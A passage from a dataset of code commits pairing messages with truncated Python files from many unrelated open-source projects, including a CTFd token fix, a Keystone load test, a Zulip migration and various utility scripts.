6128e69c9a9313887e66feb6b80e11fb21bf5f10 | LibRadar/lite_dataset.py | LibRadar/lite_dataset.py | # -*- coding: utf-8 -*-
# Copyright 2017 Zachary Marv (马子昂)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required... | Change Rules no,no,no to no,, & update some libs | Change Rules no,no,no to no,, & update some libs
| Python | apache-2.0 | pkumza/LibRadar,pkumza/LibRadar | Change Rules no,no,no to no,, & update some libs | # -*- coding: utf-8 -*-
# Copyright 2017 Zachary Marv (马子昂)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required... | <commit_before><commit_msg>Change Rules no,no,no to no,, & update some libs<commit_after> | # -*- coding: utf-8 -*-
# Copyright 2017 Zachary Marv (马子昂)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required... | Change Rules no,no,no to no,, & update some libs# -*- coding: utf-8 -*-
# Copyright 2017 Zachary Marv (马子昂)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apach... | <commit_before><commit_msg>Change Rules no,no,no to no,, & update some libs<commit_after># -*- coding: utf-8 -*-
# Copyright 2017 Zachary Marv (马子昂)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of ... | |
b132993ed859b2c727edd2a6db08b08c011a8b29 | ooni/lib/__init__.py | ooni/lib/__init__.py | import sys
import os
pwd = os.path.dirname(__file__)
#child_path = os.path.normpath(os.path.join(pwd, '..'))
#sys.path.append(child_path)
sys.path.append(pwd)
| Add hack to make import of txtorcon work | Add hack to make import of txtorcon work
| Python | bsd-2-clause | kdmurray91/ooni-probe,Karthikeyan-kkk/ooni-probe,lordappsec/ooni-probe,0xPoly/ooni-probe,lordappsec/ooni-probe,Karthikeyan-kkk/ooni-probe,lordappsec/ooni-probe,juga0/ooni-probe,juga0/ooni-probe,0xPoly/ooni-probe,kdmurray91/ooni-probe,kdmurray91/ooni-probe,hackerberry/ooni-probe,Karthikeyan-kkk/ooni-probe,kdmurray91/oon... | Add hack to make import of txtorcon work | import sys
import os
pwd = os.path.dirname(__file__)
#child_path = os.path.normpath(os.path.join(pwd, '..'))
#sys.path.append(child_path)
sys.path.append(pwd)
| <commit_before><commit_msg>Add hack to make import of txtorcon work<commit_after> | import sys
import os
pwd = os.path.dirname(__file__)
#child_path = os.path.normpath(os.path.join(pwd, '..'))
#sys.path.append(child_path)
sys.path.append(pwd)
| Add hack to make import of txtorcon workimport sys
import os
pwd = os.path.dirname(__file__)
#child_path = os.path.normpath(os.path.join(pwd, '..'))
#sys.path.append(child_path)
sys.path.append(pwd)
| <commit_before><commit_msg>Add hack to make import of txtorcon work<commit_after>import sys
import os
pwd = os.path.dirname(__file__)
#child_path = os.path.normpath(os.path.join(pwd, '..'))
#sys.path.append(child_path)
sys.path.append(pwd)
| |
e231c8997d3fedc22dfd356227c080b1d5a9ac94 | localtv/management/commands/update_index_in_tmpdir.py | localtv/management/commands/update_index_in_tmpdir.py | # This file is part of Miro Community.
# Copyright (C) 2011 Participatory Culture Foundation
#
# Miro Community is free software: you can redistribute it and/or modify it
# under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or (at y... | Add new management command for updating the search index | Add new management command for updating the search index
This management command does the work in /tmp rather than in the real XAPIAN_INDEX.
| Python | agpl-3.0 | pculture/mirocommunity,pculture/mirocommunity,pculture/mirocommunity,pculture/mirocommunity | Add new management command for updating the search index
This management command does the work in /tmp rather than in the real XAPIAN_INDEX. | # This file is part of Miro Community.
# Copyright (C) 2011 Participatory Culture Foundation
#
# Miro Community is free software: you can redistribute it and/or modify it
# under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or (at y... | <commit_before><commit_msg>Add new management command for updating the search index
This management command does the work in /tmp rather than in the real XAPIAN_INDEX.<commit_after> | # This file is part of Miro Community.
# Copyright (C) 2011 Participatory Culture Foundation
#
# Miro Community is free software: you can redistribute it and/or modify it
# under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or (at y... | Add new management command for updating the search index
This management command does the work in /tmp rather than in the real XAPIAN_INDEX.# This file is part of Miro Community.
# Copyright (C) 2011 Participatory Culture Foundation
#
# Miro Community is free software: you can redistribute it and/or modify it
# under... | <commit_before><commit_msg>Add new management command for updating the search index
This management command does the work in /tmp rather than in the real XAPIAN_INDEX.<commit_after># This file is part of Miro Community.
# Copyright (C) 2011 Participatory Culture Foundation
#
# Miro Community is free software: you can... | |
6b7497f2c2c11d3a805cc6d2a26eedcc47f68e6c | tests/asttools/test_visitor.py | tests/asttools/test_visitor.py | """Test suite for asttools.visitor."""
from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals
import ast
import functools
import timeit
import os
import pytest
from pycc.asttools import parse
from pycc.asttools import visi... | Add small test/benchmark for asttools.visitor | Add small test/benchmark for asttools.visitor
This test ensures that the non-recursive implementation of the
NodeVisitor is faster at processing large AST's than the standard
implementation.
Signed-off-by: Kevin Conway <3473c1f185ca03eadc40ad288d84425b54fd7d57@gmail.com>
| Python | apache-2.0 | kevinconway/pycc,kevinconway/pycc | Add small test/benchmark for asttools.visitor
This test ensures that the non-recursive implementation of the
NodeVisitor is faster at processing large AST's than the standard
implementation.
Signed-off-by: Kevin Conway <3473c1f185ca03eadc40ad288d84425b54fd7d57@gmail.com> | """Test suite for asttools.visitor."""
from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals
import ast
import functools
import timeit
import os
import pytest
from pycc.asttools import parse
from pycc.asttools import visi... | <commit_before><commit_msg>Add small test/benchmark for asttools.visitor
This test ensures that the non-recursive implementation of the
NodeVisitor is faster at processing large AST's than the standard
implementation.
Signed-off-by: Kevin Conway <3473c1f185ca03eadc40ad288d84425b54fd7d57@gmail.com><commit_after> | """Test suite for asttools.visitor."""
from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals
import ast
import functools
import timeit
import os
import pytest
from pycc.asttools import parse
from pycc.asttools import visi... | Add small test/benchmark for asttools.visitor
This test ensures that the non-recursive implementation of the
NodeVisitor is faster at processing large AST's than the standard
implementation.
Signed-off-by: Kevin Conway <3473c1f185ca03eadc40ad288d84425b54fd7d57@gmail.com>"""Test suite for asttools.visitor."""
from __... | <commit_before><commit_msg>Add small test/benchmark for asttools.visitor
This test ensures that the non-recursive implementation of the
NodeVisitor is faster at processing large AST's than the standard
implementation.
Signed-off-by: Kevin Conway <3473c1f185ca03eadc40ad288d84425b54fd7d57@gmail.com><commit_after>"""Tes... | |
ada67d87d6afca677bbc3daae3329c83754d6e55 | django_project/realtime/management/commands/loadfloodtestdata.py | django_project/realtime/management/commands/loadfloodtestdata.py | # coding=utf-8
from django.core.management.base import BaseCommand
from realtime.tasks.test.test_realtime_tasks import flood_layer_uri
from realtime.tasks.realtime.flood import process_flood
class Command(BaseCommand):
"""Script to load flood test data for demo purpose only.
"""
help = 'Script to load f... | Add command to load flood test data for demo purpose. | Add command to load flood test data for demo purpose.
| Python | bsd-2-clause | AIFDR/inasafe-django,AIFDR/inasafe-django,AIFDR/inasafe-django,AIFDR/inasafe-django | Add command to load flood test data for demo purpose. | # coding=utf-8
from django.core.management.base import BaseCommand
from realtime.tasks.test.test_realtime_tasks import flood_layer_uri
from realtime.tasks.realtime.flood import process_flood
class Command(BaseCommand):
"""Script to load flood test data for demo purpose only.
"""
help = 'Script to load f... | <commit_before><commit_msg>Add command to load flood test data for demo purpose.<commit_after> | # coding=utf-8
from django.core.management.base import BaseCommand
from realtime.tasks.test.test_realtime_tasks import flood_layer_uri
from realtime.tasks.realtime.flood import process_flood
class Command(BaseCommand):
"""Script to load flood test data for demo purpose only.
"""
help = 'Script to load f... | Add command to load flood test data for demo purpose.# coding=utf-8
from django.core.management.base import BaseCommand
from realtime.tasks.test.test_realtime_tasks import flood_layer_uri
from realtime.tasks.realtime.flood import process_flood
class Command(BaseCommand):
"""Script to load flood test data for dem... | <commit_before><commit_msg>Add command to load flood test data for demo purpose.<commit_after># coding=utf-8
from django.core.management.base import BaseCommand
from realtime.tasks.test.test_realtime_tasks import flood_layer_uri
from realtime.tasks.realtime.flood import process_flood
class Command(BaseCommand):
... | |
6b7a8b4cc6552a9558e1c0cc0686aa1a347555e3 | thinc/tests/unit/test_about.py | thinc/tests/unit/test_about.py | '''Test that about.py imports correctly and has expected attributes.'''
from ... import about
def test_about_attrs():
about.__name__
about.__version__
about.__summary__
about.__uri__
about.__author__
about.__email__
about.__license__
about.__title__
about.__release__
| Add tests for about module | Add tests for about module
| Python | mit | spacy-io/thinc,explosion/thinc,explosion/thinc,spacy-io/thinc,spacy-io/thinc,explosion/thinc,explosion/thinc | Add tests for about module | '''Test that about.py imports correctly and has expected attributes.'''
from ... import about
def test_about_attrs():
about.__name__
about.__version__
about.__summary__
about.__uri__
about.__author__
about.__email__
about.__license__
about.__title__
about.__release__
| <commit_before><commit_msg>Add tests for about module<commit_after> | '''Test that about.py imports correctly and has expected attributes.'''
from ... import about
def test_about_attrs():
about.__name__
about.__version__
about.__summary__
about.__uri__
about.__author__
about.__email__
about.__license__
about.__title__
about.__release__
| Add tests for about module'''Test that about.py imports correctly and has expected attributes.'''
from ... import about
def test_about_attrs():
about.__name__
about.__version__
about.__summary__
about.__uri__
about.__author__
about.__email__
about.__license__
about.__title__
about... | <commit_before><commit_msg>Add tests for about module<commit_after>'''Test that about.py imports correctly and has expected attributes.'''
from ... import about
def test_about_attrs():
about.__name__
about.__version__
about.__summary__
about.__uri__
about.__author__
about.__email__
about.... | |
67097201c27f0951c44be9a6b6956a5b7ac4aa5c | keystone_performance/auth_validate_multiple_endpoints/locustfile.py | keystone_performance/auth_validate_multiple_endpoints/locustfile.py | from time import sleep
import locust
import json
class Authenticate(locust.TaskSet):
@locust.task
def authenticate(self):
# Set header information and path
headers = {'content-type': 'application/json'}
path = '/v3/auth/tokens'
# Build authentication request with an existing ... | Add multiple endpoint auth and validate test plan | Add multiple endpoint auth and validate test plan
| Python | apache-2.0 | lbragstad/locust-scripts | Add multiple endpoint auth and validate test plan | from time import sleep
import locust
import json
class Authenticate(locust.TaskSet):
@locust.task
def authenticate(self):
# Set header information and path
headers = {'content-type': 'application/json'}
path = '/v3/auth/tokens'
# Build authentication request with an existing ... | <commit_before><commit_msg>Add multiple endpoint auth and validate test plan<commit_after> | from time import sleep
import locust
import json
class Authenticate(locust.TaskSet):
@locust.task
def authenticate(self):
# Set header information and path
headers = {'content-type': 'application/json'}
path = '/v3/auth/tokens'
# Build authentication request with an existing ... | Add multiple endpoint auth and validate test planfrom time import sleep
import locust
import json
class Authenticate(locust.TaskSet):
@locust.task
def authenticate(self):
# Set header information and path
headers = {'content-type': 'application/json'}
path = '/v3/auth/tokens'
... | <commit_before><commit_msg>Add multiple endpoint auth and validate test plan<commit_after>from time import sleep
import locust
import json
class Authenticate(locust.TaskSet):
@locust.task
def authenticate(self):
# Set header information and path
headers = {'content-type': 'application/json'}... | |
740ea36f7a06989f872150afa91472e3e2c34a03 | CTFd/utils/security/auth.py | CTFd/utils/security/auth.py | import datetime
import os
from flask import session
from CTFd.exceptions import UserNotFoundException, UserTokenExpiredException
from CTFd.models import UserTokens, db
from CTFd.utils.encoding import hexencode
from CTFd.utils.security.csrf import generate_nonce
def login_user(user):
session["id"] = user.id
... | import datetime
import os
from flask import session
from CTFd.exceptions import UserNotFoundException, UserTokenExpiredException
from CTFd.models import UserTokens, db
from CTFd.utils.encoding import hexencode
from CTFd.utils.security.csrf import generate_nonce
def login_user(user):
session["id"] = user.id
... | Fix tokens using too-random of a value | Fix tokens using too-random of a value
| Python | apache-2.0 | isislab/CTFd,CTFd/CTFd,isislab/CTFd,CTFd/CTFd,ajvpot/CTFd,isislab/CTFd,LosFuzzys/CTFd,ajvpot/CTFd,LosFuzzys/CTFd,CTFd/CTFd,ajvpot/CTFd,LosFuzzys/CTFd,isislab/CTFd,ajvpot/CTFd,LosFuzzys/CTFd,CTFd/CTFd | import datetime
import os
from flask import session
from CTFd.exceptions import UserNotFoundException, UserTokenExpiredException
from CTFd.models import UserTokens, db
from CTFd.utils.encoding import hexencode
from CTFd.utils.security.csrf import generate_nonce
def login_user(user):
session["id"] = user.id
... | import datetime
import os
from flask import session
from CTFd.exceptions import UserNotFoundException, UserTokenExpiredException
from CTFd.models import UserTokens, db
from CTFd.utils.encoding import hexencode
from CTFd.utils.security.csrf import generate_nonce
def login_user(user):
session["id"] = user.id
... | <commit_before>import datetime
import os
from flask import session
from CTFd.exceptions import UserNotFoundException, UserTokenExpiredException
from CTFd.models import UserTokens, db
from CTFd.utils.encoding import hexencode
from CTFd.utils.security.csrf import generate_nonce
def login_user(user):
session["id"]... | import datetime
import os
from flask import session
from CTFd.exceptions import UserNotFoundException, UserTokenExpiredException
from CTFd.models import UserTokens, db
from CTFd.utils.encoding import hexencode
from CTFd.utils.security.csrf import generate_nonce
def login_user(user):
session["id"] = user.id
... | import datetime
import os
from flask import session
from CTFd.exceptions import UserNotFoundException, UserTokenExpiredException
from CTFd.models import UserTokens, db
from CTFd.utils.encoding import hexencode
from CTFd.utils.security.csrf import generate_nonce
def login_user(user):
session["id"] = user.id
... | <commit_before>import datetime
import os
from flask import session
from CTFd.exceptions import UserNotFoundException, UserTokenExpiredException
from CTFd.models import UserTokens, db
from CTFd.utils.encoding import hexencode
from CTFd.utils.security.csrf import generate_nonce
def login_user(user):
session["id"]... |
30e7e3c8812045ea83ab851181db2312029bacc5 | osf/management/commands/send_storage_exceeded_announcement.py | osf/management/commands/send_storage_exceeded_announcement.py | import logging
import json
from tqdm import tqdm
from website import mails
from django.core.management.base import BaseCommand
from osf.models import Node, OSFUser
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.INFO)
def obj_gen(targets):
for u_id, n_dict in targets.items():
try... | Add storage exceeded announcement script | Add storage exceeded announcement script
| Python | apache-2.0 | Johnetordoff/osf.io,adlius/osf.io,adlius/osf.io,brianjgeiger/osf.io,aaxelb/osf.io,brianjgeiger/osf.io,CenterForOpenScience/osf.io,baylee-d/osf.io,mfraezz/osf.io,brianjgeiger/osf.io,aaxelb/osf.io,mfraezz/osf.io,Johnetordoff/osf.io,felliott/osf.io,cslzchen/osf.io,baylee-d/osf.io,aaxelb/osf.io,adlius/osf.io,felliott/osf.i... | Add storage exceeded announcement script | import logging
import json
from tqdm import tqdm
from website import mails
from django.core.management.base import BaseCommand
from osf.models import Node, OSFUser
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.INFO)
def obj_gen(targets):
for u_id, n_dict in targets.items():
try... | <commit_before><commit_msg>Add storage exceeded announcement script<commit_after> | import logging
import json
from tqdm import tqdm
from website import mails
from django.core.management.base import BaseCommand
from osf.models import Node, OSFUser
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.INFO)
def obj_gen(targets):
for u_id, n_dict in targets.items():
try... | Add storage exceeded announcement scriptimport logging
import json
from tqdm import tqdm
from website import mails
from django.core.management.base import BaseCommand
from osf.models import Node, OSFUser
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.INFO)
def obj_gen(targets):
for u_id... | <commit_before><commit_msg>Add storage exceeded announcement script<commit_after>import logging
import json
from tqdm import tqdm
from website import mails
from django.core.management.base import BaseCommand
from osf.models import Node, OSFUser
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.I... | |
73a4d5ab12efc6035a5c44625e1e772fd6c23ffc | webrtc/test/buildbot/ensure_webcam_is_running.py | webrtc/test/buildbot/ensure_webcam_is_running.py | #!/usr/bin/env python
# Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.
#
# Use of this source code is governed by a BSD-style license
# that can be found in the LICENSE file in the root of the source
# tree. An additional intellectual property rights grant can be found
# in the file PATENTS. ... | Add script to ensure virtual webcam is running. | Add script to ensure virtual webcam is running.
This script will check that a webcam is running and start it if it's
not currently running.
It's tailored to the way our buildbots are currently configured.
TEST=local execution on Windows, Mac and Linux.
BUG=none
R=phoglund@webrtc.org
Review URL: https://webrtc-codere... | Python | bsd-3-clause | mwgoldsmith/libilbc,ShiftMediaProject/libilbc,mwgoldsmith/ilbc,TimothyGu/libilbc,mwgoldsmith/libilbc,TimothyGu/libilbc,ShiftMediaProject/libilbc,mwgoldsmith/libilbc,ShiftMediaProject/libilbc,mwgoldsmith/ilbc,TimothyGu/libilbc,mwgoldsmith/libilbc,TimothyGu/libilbc,mwgoldsmith/ilbc,ShiftMediaProject/libilbc,mwgoldsmith/i... | Add script to ensure virtual webcam is running.
This script will check that a webcam is running and start it if it's
not currently running.
It's tailored to the way our buildbots are currently configured.
TEST=local execution on Windows, Mac and Linux.
BUG=none
R=phoglund@webrtc.org
Review URL: https://webrtc-codere... | #!/usr/bin/env python
# Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.
#
# Use of this source code is governed by a BSD-style license
# that can be found in the LICENSE file in the root of the source
# tree. An additional intellectual property rights grant can be found
# in the file PATENTS. ... | <commit_before><commit_msg>Add script to ensure virtual webcam is running.
This script will check that a webcam is running and start it if it's
not currently running.
It's tailored to the way our buildbots are currently configured.
TEST=local execution on Windows, Mac and Linux.
BUG=none
R=phoglund@webrtc.org
Review... | #!/usr/bin/env python
# Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.
#
# Use of this source code is governed by a BSD-style license
# that can be found in the LICENSE file in the root of the source
# tree. An additional intellectual property rights grant can be found
# in the file PATENTS. ... | Add script to ensure virtual webcam is running.
This script will check that a webcam is running and start it if it's
not currently running.
It's tailored to the way our buildbots are currently configured.
TEST=local execution on Windows, Mac and Linux.
BUG=none
R=phoglund@webrtc.org
Review URL: https://webrtc-codere... | <commit_before><commit_msg>Add script to ensure virtual webcam is running.
This script will check that a webcam is running and start it if it's
not currently running.
It's tailored to the way our buildbots are currently configured.
TEST=local execution on Windows, Mac and Linux.
BUG=none
R=phoglund@webrtc.org
Review... | |
aed31cd5d5341712819772d27ec99e364f20e8d0 | scripts/contrib/inject_ctt.py | scripts/contrib/inject_ctt.py | #!/usr/bin/env python
from __future__ import print_function
import sys
import argparse
import numpy as np
DESC = "Add 'decoder_c_tt' required by Amun to a model trained with Marian v1.6.0+"
def main():
args = parse_args()
print("Loading model {}".format(args.input))
model = np.load(args.input)
if... | Add script for injecting 'decoder_c_tt' | Add script for injecting 'decoder_c_tt'
| Python | mit | marian-nmt/marian-train,emjotde/amunmt,marian-nmt/marian-train,marian-nmt/marian-train,emjotde/Marian,emjotde/amunn,marian-nmt/marian-train,amunmt/marian,emjotde/amunmt,emjotde/amunn,amunmt/marian,amunmt/marian,marian-nmt/marian-train,emjotde/amunmt,emjotde/Marian,emjotde/amunmt,emjotde/amunn,emjotde/amunn | Add script for injecting 'decoder_c_tt' | #!/usr/bin/env python
from __future__ import print_function
import sys
import argparse
import numpy as np
DESC = "Add 'decoder_c_tt' required by Amun to a model trained with Marian v1.6.0+"
def main():
args = parse_args()
print("Loading model {}".format(args.input))
model = np.load(args.input)
if... | <commit_before><commit_msg>Add script for injecting 'decoder_c_tt'<commit_after> | #!/usr/bin/env python
from __future__ import print_function
import sys
import argparse
import numpy as np
DESC = "Add 'decoder_c_tt' required by Amun to a model trained with Marian v1.6.0+"
def main():
args = parse_args()
print("Loading model {}".format(args.input))
model = np.load(args.input)
if... | Add script for injecting 'decoder_c_tt'#!/usr/bin/env python
from __future__ import print_function
import sys
import argparse
import numpy as np
DESC = "Add 'decoder_c_tt' required by Amun to a model trained with Marian v1.6.0+"
def main():
args = parse_args()
print("Loading model {}".format(args.input))
... | <commit_before><commit_msg>Add script for injecting 'decoder_c_tt'<commit_after>#!/usr/bin/env python
from __future__ import print_function
import sys
import argparse
import numpy as np
DESC = "Add 'decoder_c_tt' required by Amun to a model trained with Marian v1.6.0+"
def main():
args = parse_args()
prin... | |
2b801401f57fed8a794812d2f3cc737b243999dc | extract-nouveau-fw.py | extract-nouveau-fw.py | #!/usr/bin/python
import struct, sys
if len(sys.argv) != 2:
print("Please specify the path to gk20a_ctxsw.bin to extract the firmware")
sys.exit(1)
def get_int(blob, pos):
return struct.unpack('<i', blob[pos:pos + 4])[0]
blob = open(sys.argv[1], 'r').read()
n_regions = get_int(blob, 4)
for i in range(n_regions... | Add temporary firmware extraction file | Add temporary firmware extraction file
| Python | mit | NVIDIA/tegra-rootfs-scripts | Add temporary firmware extraction file | #!/usr/bin/python
import struct, sys
if len(sys.argv) != 2:
print("Please specify the path to gk20a_ctxsw.bin to extract the firmware")
sys.exit(1)
def get_int(blob, pos):
return struct.unpack('<i', blob[pos:pos + 4])[0]
blob = open(sys.argv[1], 'r').read()
n_regions = get_int(blob, 4)
for i in range(n_regions... | <commit_before><commit_msg>Add temporary firmware extraction file<commit_after> | #!/usr/bin/python
import struct, sys
if len(sys.argv) != 2:
print("Please specify the path to gk20a_ctxsw.bin to extract the firmware")
sys.exit(1)
def get_int(blob, pos):
return struct.unpack('<i', blob[pos:pos + 4])[0]
blob = open(sys.argv[1], 'r').read()
n_regions = get_int(blob, 4)
for i in range(n_regions... | Add temporary firmware extraction file#!/usr/bin/python
import struct, sys
if len(sys.argv) != 2:
print("Please specify the path to gk20a_ctxsw.bin to extract the firmware")
sys.exit(1)
def get_int(blob, pos):
return struct.unpack('<i', blob[pos:pos + 4])[0]
blob = open(sys.argv[1], 'r').read()
n_regions = get_... | <commit_before><commit_msg>Add temporary firmware extraction file<commit_after>#!/usr/bin/python
import struct, sys
if len(sys.argv) != 2:
print("Please specify the path to gk20a_ctxsw.bin to extract the firmware")
sys.exit(1)
def get_int(blob, pos):
return struct.unpack('<i', blob[pos:pos + 4])[0]
blob = open(s... | |
1025b1d773b230e47633ec7c67d451adcd5ac957 | src/convert_dir_to_CLAHE.py | src/convert_dir_to_CLAHE.py | #!/usr/bin/env jython
from ij import IJ
import os
from mpicbg.ij.clahe import Flat
from ij.process import ImageConverter
# http://fiji.sc/wiki/index.php/Enhance_Local_Contrast_(CLAHE)
# http://fiji.sc/cgi-bin/gitweb.cgi?p=mpicbg.git;a=blob;f=mpicbg/ij/clahe/PlugIn.java;h=663153764493547de560c08ee11f2e6b1e7e1a32;hb=H... | Add script to CLAHE images in a directory via FIJI | Add script to CLAHE images in a directory via FIJI
| Python | mit | seung-lab/Julimaps,seung-lab/Julimaps | Add script to CLAHE images in a directory via FIJI | #!/usr/bin/env jython
from ij import IJ
import os
from mpicbg.ij.clahe import Flat
from ij.process import ImageConverter
# http://fiji.sc/wiki/index.php/Enhance_Local_Contrast_(CLAHE)
# http://fiji.sc/cgi-bin/gitweb.cgi?p=mpicbg.git;a=blob;f=mpicbg/ij/clahe/PlugIn.java;h=663153764493547de560c08ee11f2e6b1e7e1a32;hb=H... | <commit_before><commit_msg>Add script to CLAHE images in a directory via FIJI<commit_after> | #!/usr/bin/env jython
from ij import IJ
import os
from mpicbg.ij.clahe import Flat
from ij.process import ImageConverter
# http://fiji.sc/wiki/index.php/Enhance_Local_Contrast_(CLAHE)
# http://fiji.sc/cgi-bin/gitweb.cgi?p=mpicbg.git;a=blob;f=mpicbg/ij/clahe/PlugIn.java;h=663153764493547de560c08ee11f2e6b1e7e1a32;hb=H... | Add script to CLAHE images in a directory via FIJI#!/usr/bin/env jython
from ij import IJ
import os
from mpicbg.ij.clahe import Flat
from ij.process import ImageConverter
# http://fiji.sc/wiki/index.php/Enhance_Local_Contrast_(CLAHE)
# http://fiji.sc/cgi-bin/gitweb.cgi?p=mpicbg.git;a=blob;f=mpicbg/ij/clahe/PlugIn.ja... | <commit_before><commit_msg>Add script to CLAHE images in a directory via FIJI<commit_after>#!/usr/bin/env jython
from ij import IJ
import os
from mpicbg.ij.clahe import Flat
from ij.process import ImageConverter
# http://fiji.sc/wiki/index.php/Enhance_Local_Contrast_(CLAHE)
# http://fiji.sc/cgi-bin/gitweb.cgi?p=mpic... | |
426cdc9a82be52dbe7602273faaf0b38fb87d7cd | hotline/common/time_zone.py | hotline/common/time_zone.py | from datetime import datetime
from pytz import timezone
FORMAT = "%Y-%m-%d %H%M"
TIME_ZONE = 'Europe/Paris'
def current_time_zone_info():
current_time = datetime.now(timezone(TIME_ZONE)).strftime(FORMAT)
return current_time.split()
| Add function to get time and date based on time zone | Add function to get time and date based on time zone
| Python | mit | wearhacks/hackathon_hotline | Add function to get time and date based on time zone | from datetime import datetime
from pytz import timezone
FORMAT = "%Y-%m-%d %H%M"
TIME_ZONE = 'Europe/Paris'
def current_time_zone_info():
current_time = datetime.now(timezone(TIME_ZONE)).strftime(FORMAT)
return current_time.split()
| <commit_before><commit_msg>Add function to get time and date based on time zone<commit_after> | from datetime import datetime
from pytz import timezone
FORMAT = "%Y-%m-%d %H%M"
TIME_ZONE = 'Europe/Paris'
def current_time_zone_info():
current_time = datetime.now(timezone(TIME_ZONE)).strftime(FORMAT)
return current_time.split()
| Add function to get time and date based on time zonefrom datetime import datetime
from pytz import timezone
FORMAT = "%Y-%m-%d %H%M"
TIME_ZONE = 'Europe/Paris'
def current_time_zone_info():
current_time = datetime.now(timezone(TIME_ZONE)).strftime(FORMAT)
return current_time.split()
| <commit_before><commit_msg>Add function to get time and date based on time zone<commit_after>from datetime import datetime
from pytz import timezone
FORMAT = "%Y-%m-%d %H%M"
TIME_ZONE = 'Europe/Paris'
def current_time_zone_info():
current_time = datetime.now(timezone(TIME_ZONE)).strftime(FORMAT)
return curren... | |
4438a09b307e518daa059a79d9c1c1dec2ba013e | zerver/migrations/0041_create_attachments_for_old_messages.py | zerver/migrations/0041_create_attachments_for_old_messages.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import os
from django.db import migrations
from django.db.backends.postgresql_psycopg2.schema import DatabaseSchemaEditor
from django.db.migrations.state import StateApps
from zerver.lib.upload import attachment_url_re, attachment_url_to_path_id
def ... | Add migration to create attachments for old uploads. | Add migration to create attachments for old uploads.
This migration ensures that all historically uploaded files from
before we started tracking files in the Zulip database via the
Attachment model have Attachment objects.
This has been tested by tabbott against a production server to ensure
that it results in all ol... | Python | apache-2.0 | jackrzhang/zulip,andersk/zulip,zulip/zulip,mahim97/zulip,showell/zulip,hackerkid/zulip,punchagan/zulip,peguin40/zulip,jrowan/zulip,calvinleenyc/zulip,hackerkid/zulip,verma-varsha/zulip,TigorC/zulip,vikas-parashar/zulip,jphilipsen05/zulip,andersk/zulip,vabs22/zulip,andersk/zulip,paxapy/zulip,tommyip/zulip,hackerkid/zuli... | Add migration to create attachments for old uploads.
This migration ensures that all historically uploaded files from
before we started tracking files in the Zulip database via the
Attachment model have Attachment objects.
This has been tested by tabbott against a production server to ensure
that it results in all ol... | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import os
from django.db import migrations
from django.db.backends.postgresql_psycopg2.schema import DatabaseSchemaEditor
from django.db.migrations.state import StateApps
from zerver.lib.upload import attachment_url_re, attachment_url_to_path_id
def ... | <commit_before><commit_msg>Add migration to create attachments for old uploads.
This migration ensures that all historically uploaded files from
before we started tracking files in the Zulip database via the
Attachment model have Attachment objects.
This has been tested by tabbott against a production server to ensur... | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import os
from django.db import migrations
from django.db.backends.postgresql_psycopg2.schema import DatabaseSchemaEditor
from django.db.migrations.state import StateApps
from zerver.lib.upload import attachment_url_re, attachment_url_to_path_id
def ... | Add migration to create attachments for old uploads.
This migration ensures that all historically uploaded files from
before we started tracking files in the Zulip database via the
Attachment model have Attachment objects.
This has been tested by tabbott against a production server to ensure
that it results in all ol... | <commit_before><commit_msg>Add migration to create attachments for old uploads.
This migration ensures that all historically uploaded files from
before we started tracking files in the Zulip database via the
Attachment model have Attachment objects.
This has been tested by tabbott against a production server to ensur... | |
1f83170b2e97d8c8a20acdd20109e460b73a09dc | multiples-of-3-and-5/index.py | multiples-of-3-and-5/index.py | from __future__ import division
from math import ceil
from itertools import combinations
from operator import mul
# Sum of multiples of 3 or 5 under 1000, simplified:
# print (3 * 333 * 334 / 2) + (5 * 199 * 200 / 2) - (15 * 66 * 67 / 2)
def getSumOfMultiple(num, limit):
return int((ceil(limit / num) - 1) ... | Add optimized multiples-of-3-and-5 in Python | Add optimized multiples-of-3-and-5 in Python
| Python | mit | SterlingVix/code-problems,nickell-andrew/code-problems,jefimenko/code-problems,SterlingVix/code-problems,netuoso/code-problems,ockang/code-problems,jmera/code-problems,ranveer-git/code-problems,SterlingVix/code-problems,angelkar/code-problems,ockang/code-problems,marcoviappiani/code-problems,sisirkoppaka/code-problems,... | Add optimized multiples-of-3-and-5 in Python | from __future__ import division
from math import ceil
from itertools import combinations
from operator import mul
# Sum of multiples of 3 or 5 under 1000, simplified:
# print (3 * 333 * 334 / 2) + (5 * 199 * 200 / 2) - (15 * 66 * 67 / 2)
def getSumOfMultiple(num, limit):
return int((ceil(limit / num) - 1) ... | <commit_before><commit_msg>Add optimized multiples-of-3-and-5 in Python<commit_after> | from __future__ import division
from math import ceil
from itertools import combinations
from operator import mul
# Sum of multiples of 3 or 5 under 1000, simplified:
# print (3 * 333 * 334 / 2) + (5 * 199 * 200 / 2) - (15 * 66 * 67 / 2)
def getSumOfMultiple(num, limit):
return int((ceil(limit / num) - 1) ... | Add optimized multiples-of-3-and-5 in Pythonfrom __future__ import division
from math import ceil
from itertools import combinations
from operator import mul
